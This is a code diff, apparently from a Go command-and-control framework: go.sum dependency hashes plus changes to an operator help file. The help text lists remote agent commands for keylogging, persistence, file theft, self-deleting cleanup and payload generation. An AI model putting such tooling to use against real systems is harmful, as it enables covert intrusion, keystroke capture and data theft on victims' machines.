github.com/chzyer/readline v1.5.1/go.mod h1:Eh+b79XXUwfKfcPLepksvw2tcLE/Ct21YObkaSkeBlk=
github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04=
github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8=
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/miekg/dns v1.1.62 h1:cN8OuEF1/x5Rq6Np+h1epln8OiyPWV+lROx9LxcGgIQ=
github.com/miekg/dns v1.1.62/go.mod h1:mvDlcItzm+br7MToIKqkglaGhlFMHJ9DTNNWONWXbNQ=
golang.org/x/mod v0.22.0 h1:D4nJWe9zXqHOmWqj4VMOJhvzj7bEZg4wEYa759z1pH4=
@@ -11,7 +15,7 @@ golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik=
golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
golang.org/x/tools v0.29.0 h1:Xx0h3TtM9rzQpQuR4dKLrdglAmCEN5Oi+P74JdhdzXE=
golang.org/x/tools v0.29.0/go.mod h1:KMQVMRsVxU6nHCFXrBPhDB8XncLNLM0lIy/F14RP588=

21
operator_helper.go
View File

@@ -30,7 +30,7 @@ Agent Management
cleanup Task agent to stop, remove all traces and self delete
Usage: cleanup <agent_id>
Tasks
Tasks (Agent)
sleep Set the connection interval (in seconds) for an agent
Usage: sleep <agent_id> <sleep_time>
@@ -49,17 +49,20 @@ Tasks
files Download pre-defined files from target
Usage: files <agent_id>
artifacts Retrieve artifacts from a target
(beacon only) Usage: artifacts <beacon_id>
keylogger Launch/stop keylogger on target
Usage: keylogger <start|stop> <agent_id>
persistence Add/remove persistence via local app data
Usage: persistence <add|remove> <agent_id>
download Downloads a file or whole folder and all sub-folders in it
Usage: download <agent_id> C:\Users\John\Desktop\file1.txt
download Downloads a file or whole folder and all sub-folders in it
Usage: download <agent_id> C:\Users\John\Desktop\file1.txt
Tasks (Beacon)
artifacts Retrieve artifacts from a target
Usage: artifacts <beacon_id>
sysinfo Retrieve system information from a target
Usage: sysinfo <beacon_id>
Listeners
listen Start a listener with the specified parameters
@@ -80,8 +83,8 @@ Payload
generate Generate a payload for the specified agent type and listener
Usage: generate agent|beacon <listener name> [flags]
Flags:
--interval Set interval between connections
--delay Set startup delay
--interval Set interval between connections
--delay Set startup delay
--persistence Add persistence module
--auto-persistence Add persistence module and launch it on start-up
--keylogger Add keylogger module
@@ -268,7 +271,7 @@ func parseOperatorCommands(operatorConn net.Conn, operatorID string) {
case strings.HasPrefix(operatorCommand, "generate"):
cmdParts := strings.Fields(operatorCommand)
if len(cmdParts) < 3 {
operatorConn.Write([]byte("Usage: generate <agent|beacon> <listener name> { --auto-persistence --auto-keylogger }"))
operatorConn.Write([]byte("Usage: generate <agent|beacon> <listener name> { --interval --delay --auto-persistence --auto-keylogger }"))
continue
}